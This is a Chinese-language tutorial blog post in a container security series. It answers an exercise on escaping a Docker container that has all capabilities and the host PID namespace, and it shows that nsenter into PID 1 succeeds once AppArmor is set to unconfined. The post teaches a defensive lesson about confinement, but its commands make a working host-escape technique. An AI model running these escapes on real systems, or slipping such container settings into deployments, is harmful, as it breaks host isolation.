iT邦幫忙

2023 iThome 鐵人賽

DAY 27
0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 38

Day29 - 作業8 解答 - 測試 cap-add ALL 以及 host pid 的逃逸手法

  • 分享至 

  • xImage
  •  

Yes

  • 作業8 題目 : 我們都知道開啟特權容器會關閉 Seccomp、Apparmor 等相關機制,造成無法測試掛載 host pid 的逃逸手法,但假如給予今天給予容器所有的能力並掛載 host pid,到底是否能夠順利逃逸呢? 假如不行的話,驗證一下是不是 Apparmor 搞的鬼。

  • 解答 : 這題主要是想驗證各位是否了解 apparmor 的機制開啟關閉方式以及容器的 CAP 概念,執行步驟如下。

    # 先針對題目情境建立對應環境,給予全部能力並且掛載 host pid
    docker run --rm -it --cap-add ALL --pid host aeifkz/my-ubuntu:v1.0 bash ;
    
    # 驗證一下 Cap 能力部分
    cat /proc/$$/status | grep CapEff ;
    
    # 確認一下 pid 為 1 對應到的 process
    ps aux | head -n 5 ;
    
    # 使用逃逸手法,會發現權限不夠
    nsenter -m -u -i -n -p -t 1 bash ;
    
    # 離開容器再來一遍
    exit ;
    
    # 依照提示關掉 apparmor 試試看
    docker run --rm -it --cap-add ALL --pid host --security-opt apparmor=unconfined aeifkz/my-ubuntu:v1.0 bash ;
    
    # 使用逃逸手法,會發現過了
    nsenter -m -u -i -n -p -t 1 bash ;
    

上一篇
Day29 - (防禦) Container AppArmor 介紹 (含作業8)
下一篇
Day30 - (防禦) SELinux 防禦機制初體驗
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言